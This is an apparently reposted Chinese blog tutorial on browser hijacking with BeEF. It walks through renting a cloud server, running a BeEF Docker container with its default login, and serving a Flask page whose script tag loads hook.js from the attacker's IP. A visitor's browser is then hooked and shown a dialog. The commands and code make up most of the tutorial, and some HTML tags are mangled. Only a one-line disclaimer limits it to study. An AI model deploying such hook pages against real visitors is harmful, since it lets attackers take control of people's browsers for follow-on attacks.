beef-xss浏览器劫持

beef-xss浏览器劫持

      • 一,实验拓扑图
      • 二,租用一台阿里云,搭建docker环境和beef环境
        • 1.租一台阿里云服务器,系统选用ubuntu,计时收费的那种,一个小时几毛钱
        • 2.开启策略组3000端口,5000端口
        • 4.安装docker
        • 5.拉取beef镜像,并且运行容器
        • 6.运行beef容器:
      • 三,使用python启动一个http web服务
        • 1.beef.py 和templates 文件夹在同一级,beef.html在templates 文件夹下
        • 2.安装 flask库并运行 beef.py:
        • 3.本地打开浏览器访问页面 http://8.218.50.45:5000/beef,
        • 4.观察beef控制台
      • 四,对上线的受害主机浏览器进行劫持
        • 1.执行创建对话框
        • 2.本地浏览器出现弹窗![在这里插入图片描述](https://img-blog.csdnimg.cn/8a9285c2b46d46df83ab7ff52364f1f5.png)
      • 五,免责声明

一,实验拓扑图

请添加图片描述

二,租用一台阿里云,搭建docker环境和beef环境

1.租一台阿里云服务器,系统选用ubuntu,计时收费的那种,一个小时几毛钱

2.开启策略组3000端口,5000端口

在这里插入图片描述

4.安装docker

apt install docker.io

5.拉取beef镜像,并且运行容器

docker pull janes/beef

6.运行beef容器:

docker run -dp 3000:3000 janes/beef
打开浏览器 输入网址: http://8.218.50.45:3000/ui/panel 进入 beef控制台,用户名和密码都是 beef

三,使用python启动一个http web服务

1.beef.py 和templates 文件夹在同一级,beef.html在templates 文件夹下

在这里插入图片描述

在这里插入图片描述

beef.py

import os
from flask import Flask, request, render_template, redirectapp = Flask(__name__)@app.route('/beef', methods=['POST', 'GET'])
def do_beef():return render_template('beef.html')if __name__ == '__main__':app.run(host='0.0.0.0',debug=True)

beef.html

DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><script src="http://8.218.50.45:3000/hook.js">script><title>testtitle>head><body>please wait ...body>
html>
其中 是指向我们刚才搭建的beef平台

传到我们刚才租的那台阿里云服务器上如下:
在这里插入图片描述

2.安装 flask库并运行 beef.py:

pip3 install flask
python3 beef.py

在这里插入图片描述

3.本地打开浏览器访问页面 http://8.218.50.45:5000/beef,

在这里插入图片描述

4.观察beef控制台

在这里插入图片描述

四,对上线的受害主机浏览器进行劫持

1.执行创建对话框

在这里插入图片描述

2.本地浏览器出现弹窗在这里插入图片描述

五,免责声明

本教程只能用于技术学习,不得使用本教程从事任何违法犯罪行为。


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部